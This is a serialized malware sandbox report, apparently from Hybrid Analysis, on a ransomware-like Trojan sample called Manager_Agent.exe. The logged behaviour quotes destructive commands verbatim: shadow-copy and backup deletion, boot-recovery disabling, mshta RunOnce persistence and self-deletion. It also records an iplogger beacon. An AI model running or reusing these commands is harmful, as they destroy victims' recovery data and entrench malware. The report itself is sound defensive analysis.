21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 3d:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T492,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 1885e9b3037c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1885e9b3037c…. Malware family: Trojan.Generic. Threat score 100/100. 21/28 AV engines flagged this file. 12 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031"],"about":{"@type":"SoftwareApplication","name":"Manager_Agent.old.exe","applicationCategory":["peexe","executable"],"identifier":"1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":21,"total":28},"behavioralIndicators":{"malicious":12,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T825,"Manager_Agent.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "")23:T778,"Manager_Agent.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\8AD5C9987E6F190BD6F5416E2DE44CCD641D8CDA"; Key: "BLOB") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135"; Key: "BLOB") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "Manager_Agent.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Manager_Agent.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")24:Tae0,Spawned process "cmd.exe" with commandline "/c copy /y "C:\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe" "%APPDATA%\Manager_Agent.exe"" (UID: 00014735-00002732) Spawned process "" with commandline "runas" (UID: 00014745-00002748) Spawned process "cmd.exe" with commandline "/c copy /y "C:\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe" "%APPDATA%\Manager_Agent.exe"" (UID: 00014841-00002876) Spawned process "Manager_Agent.exe" (UID: 00014850-00002916) Spawned process "mshta.exe" with commandline "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe');close()}catch(e){}},10);"" (UID: 00014851-00003392), Spawned process "mshta.exe" with commandline "javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('Manager_Agent.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\cUTakpf',i);}catch(e){}} 10);"" (UID: 00014947-00003444) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00014949-00003440) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00014949-00003460) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00014950-00003412) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00014950-00003428) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00014951-00003512) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00015012-00003576) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00015014-00003532) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00015028-00001284) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00015034-00001356) Spawned process "WMIC.exe" with commandline "wmic SHADOWCOPY DELETE" (UID: 00015039-00000100) Spawned process "cmd.exe" with commandline "/c start /max notepad.exe "%USERPROFILE%\INSTRUCTION FOR DATA RECOVERY.TXT"" (UID: 00018719-00000812) Spawned process "notepad.exe" with commandline "%USERPROFILE%\INSTRUCTION FOR DATA RECOVERY.TXT"" (UID: 00018733-00004076), Spawned process "mshta.exe" with commandline "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('Manager_Agent.exe');close()}catch(e){}} 10);"" (UID: 00020808-00002680)25:T6a1,Heuristic match: "GET /1wQH27.gif HTTP/1.1 Host: iplogger.com" Pattern match: "https://iplogger.com/1wQH27.gif" Heuristic match: "iplogger.com" Pattern match: "https://secure.comodo.com/CPS0" Pattern match: "crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl0" Pattern match: "crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt0$" Pattern match: "http://ocsp.comodoca.com0T" Heuristic match: "api.iplogger.com" Heuristic match: "iplogger.org" Heuristic match: "iplogger.ru" Pattern match: "crl.usertrust.com/AddTrustExternalCARoot.crl05" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q" Pattern match: "http://crt.comodoca.com/COMODORSAAddTrustCA.crt0$" Pattern match: "http://ocsp.comodoca.com0" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.usertrust.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCECsuburZdTZsFIpu26N8jAc%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.comodoca.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR64T7ooMQqLLQoy%2BemBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEBMTL3j6tWgkgVYdRfhMWA8%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.comodoca.com" Heuristic match: "**Send a copy of the letter to Second email address : Jchan@india.com" Heuristic match: "Jchan@india.com" Heuristic match: "Gmail.com"26:T93d,"Manager_Agent.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "Manager_Agent.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS")27:T528,"" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "Manager_Agent.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000") "Manager_Agent.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "Manager_Agent.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE") "Manager_Agent.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "Manager_Agent.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "mshta.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "mshta.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")28:T4f3,"Manager_Agent.exe" wrote bytes "92e6227779a82777be722777d62d27771de2227705a22777bee32277616f2777684125770050257700000000ad3738778b2d3877b641387700000000" to virtual address "0x74871000" (part of module "WSHTCPIP.DLL") "Manager_Agent.exe" wrote bytes "4053257758582677186a2677653c27770000000000bf6b750000000056cc6b75000000007cca6b750000000037683f756a2c2777d62d27770000000020693f750000000029a66b7500000000a48d3f7500000000f70e6b7500000000" to virtual address "0x77411000" (part of module "NSI.DLL") "Manager_Agent.exe" wrote bytes "7739237779a82777be722777d62d27771de2227705a22777c868267757d12d77bee32277616f2777684125770050257700000000ad3738778b2d3877b641387700000000" to virtual address "0x74DA1000" (part of module "WSHIP6.DLL") "mshta.exe" wrote bytes "9498bc7651c1bc76efb2c276ee9cbc7675dcbe769097bc761099bc7600000000013d6c7538ed6c75cfcd6b7531236b75de2f6c75c4ca6b7580bb6b75aa6e6c759fbb6b75707f6a7592bb6b7546ba6b750abf6b7500000000" to virtual address "0x70CB1000" (part of module "MSLS31.DLL") "WMIC.exe" wrote bytes "4053257758582677186a2677653c27770000000000bf6b750000000056cc6b75000000007cca6b750000000037683f756a2c2777d62d27770000000020693f750000000029a66b7500000000a48d3f7500000000f70e6b7500000000" to virtual address "0x77411000" (part of module "NSI.DLL")29:T567,"" wrote 32 bytes to a remote process "C:\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe" (Handle: 400) "" wrote 52 bytes to a remote process "C:\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe" (Handle: 400) "" wrote 4 bytes to a remote process "C:\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe" (Handle: 400) "" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Manager_Agent.exe" (Handle: 532) "" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Manager_Agent.exe" (Handle: 532) "" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Manager_Agent.exe" (Handle: 532) "" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 196) "" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 196) "" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 196) "Manager_Agent.exe" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 304) "Manager_Agent.exe" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 304) "Manager_Agent.exe" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 304)2a:T6a3,Found malicious artifacts related to "88.99.66.31" (ASN: , Owner: ): ... URL: http://www.yip.su/ (AV positives: 3/64 scanned on 10/31/2017 13:23:31) URL: https://yip.su/2w3t45 (AV positives: 3/64 scanned on 10/31/2017 01:08:07) URL: https://iplogger.com/2Y9P65 (AV positives: 1/64 scanned on 10/31/2017 01:04:44) URL: http://iplogger.com/ (AV positives: 1/63 scanned on 10/30/2017 22:58:17) URL: https://2no.co/3ixuB3.csv (AV positives: 1/64 scanned on 10/30/2017 22:55:09) File SHA256: 6a0d9fc586dede4e681b089746cbbbd70ea67f025988e92333eff60f6925473a (AV positives: 23/67 scanned on 10/31/2017 08:14:43) File SHA256: f7a768ecf137fdeef36b71f4107e7fd937ec237de86f1e1dc428c1bea08b6754 (AV positives: 24/64 scanned on 10/31/2017 08:13:03) File SHA256: 91807dbd4b34de06b806fc182fdbef76b941990fc7638e7a2cc486c0368c1e69 (AV positives: 34/68 scanned on 10/30/2017 20:43:11) File SHA256: a7e023b0877ec675a9fd4c243647d013012cca36e54ec67a0f403781611c1652 (AV positives: 44/68 scanned on 10/30/2017 19:47:26) File SHA256: 2ecf8a4c819147c7f38a27404164ff28cf6e37d0aa152e00a026c335a02e039b (AV positives: 29/68 scanned on 10/30/2017 12:39:23) File SHA256: a0fa6c0e391c6846956b3cead13ecbc059945ce86f8c2816c00d53c49dc6c151 (Scanned on 10/30/2017 20:38:16) File SHA256: 5584caec7b1367a41fd07c7505eac2403c0a87f5e057312ec775281e97b8501d (Scanned on 10/30/2017 11:46:23) File SHA256: dcb87916802e0f74164d0431e83239f88fed774556e7d89d1805f8665b740db2 (Scanned on 10/30/2017 11:42:57) File SHA256: 6adab5ad6ba509c59b113b6c88fd57e4663f4d67afcbebcd5d4c78783d6a6566 (Scanned on 10/30/2017 09:33:54) File SHA256: 0a65f26eb20779422fb84bf0ecee98b3ecc260205dc1f6e6c317cc3d7c3795ae (Scanned on 10/27/2017 16:29:42)2b:T6a3,Found malicious artifacts related to "88.99.66.31" (ASN: , Owner: ): ... URL: http://www.yip.su/ (AV positives: 3/64 scanned on 10/31/2017 13:23:31) URL: https://yip.su/2w3t45 (AV positives: 3/64 scanned on 10/31/2017 01:08:07) URL: https://iplogger.com/2Y9P65 (AV positives: 1/64 scanned on 10/31/2017 01:04:44) URL: http://iplogger.com/ (AV positives: 1/63 scanned on 10/30/2017 22:58:17) URL: https://2no.co/3ixuB3.csv (AV positives: 1/64 scanned on 10/30/2017 22:55:09) File SHA256: 6a0d9fc586dede4e681b089746cbbbd70ea67f025988e92333eff60f6925473a (AV positives: 23/67 scanned on 10/31/2017 08:14:43) File SHA256: f7a768ecf137fdeef36b71f4107e7fd937ec237de86f1e1dc428c1bea08b6754 (AV positives: 24/64 scanned on 10/31/2017 08:13:03) File SHA256: 91807dbd4b34de06b806fc182fdbef76b941990fc7638e7a2cc486c0368c1e69 (AV positives: 34/68 scanned on 10/30/2017 20:43:11) File SHA256: a7e023b0877ec675a9fd4c243647d013012cca36e54ec67a0f403781611c1652 (AV positives: 44/68 scanned on 10/30/2017 19:47:26) File SHA256: 2ecf8a4c819147c7f38a27404164ff28cf6e37d0aa152e00a026c335a02e039b (AV positives: 29/68 scanned on 10/30/2017 12:39:23) File SHA256: a0fa6c0e391c6846956b3cead13ecbc059945ce86f8c2816c00d53c49dc6c151 (Scanned on 10/30/2017 20:38:16) File SHA256: 5584caec7b1367a41fd07c7505eac2403c0a87f5e057312ec775281e97b8501d (Scanned on 10/30/2017 11:46:23) File SHA256: dcb87916802e0f74164d0431e83239f88fed774556e7d89d1805f8665b740db2 (Scanned on 10/30/2017 11:42:57) File SHA256: 6adab5ad6ba509c59b113b6c88fd57e4663f4d67afcbebcd5d4c78783d6a6566 (Scanned on 10/30/2017 09:33:54) File SHA256: 0a65f26eb20779422fb84bf0ecee98b3ecc260205dc1f6e6c317cc3d7c3795ae (Scanned on 10/27/2017 16:29:42)2c:Tb1b,Spawned process "" (UID: 00014587-00002572) Spawned process "cmd.exe" with commandline "/c copy /y "C:\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe" "%APPDATA%\Manager_Agent.exe"" (UID: 00014735-00002732) Spawned process "" with commandline "runas" (UID: 00014745-00002748) Spawned process "cmd.exe" with commandline "/c copy /y "C:\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe" "%APPDATA%\Manager_Agent.exe"" (UID: 00014841-00002876) Spawned process "Manager_Agent.exe" (UID: 00014850-00002916) Spawned process "mshta.exe" with commandline "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe');close()}catch(e){}},10);"" (UID: 00014851-00003392), Spawned process "mshta.exe" with commandline "javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('Manager_Agent.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\cUTakpf',i);}catch(e){}} 10);"" (UID: 00014947-00003444) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00014949-00003440) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00014949-00003460) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00014950-00003412) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00014950-00003428) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00014951-00003512) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00015012-00003576) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00015014-00003532) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00015028-00001284) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00015034-00001356) Spawned process "WMIC.exe" with commandline "wmic SHADOWCOPY DELETE" (UID: 00015039-00000100) Spawned process "cmd.exe" with commandline "/c start /max notepad.exe "%USERPROFILE%\INSTRUCTION FOR DATA RECOVERY.TXT"" (UID: 00018719-00000812) Spawned process "notepad.exe" with commandline "%USERPROFILE%\INSTRUCTION FOR DATA RECOVERY.TXT"" (UID: 00018733-00004076), Spawned process "mshta.exe" with commandline "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('Manager_Agent.exe');close()}catch(e){}} 10);"" (UID: 00020808-00002680)2d:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==2e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d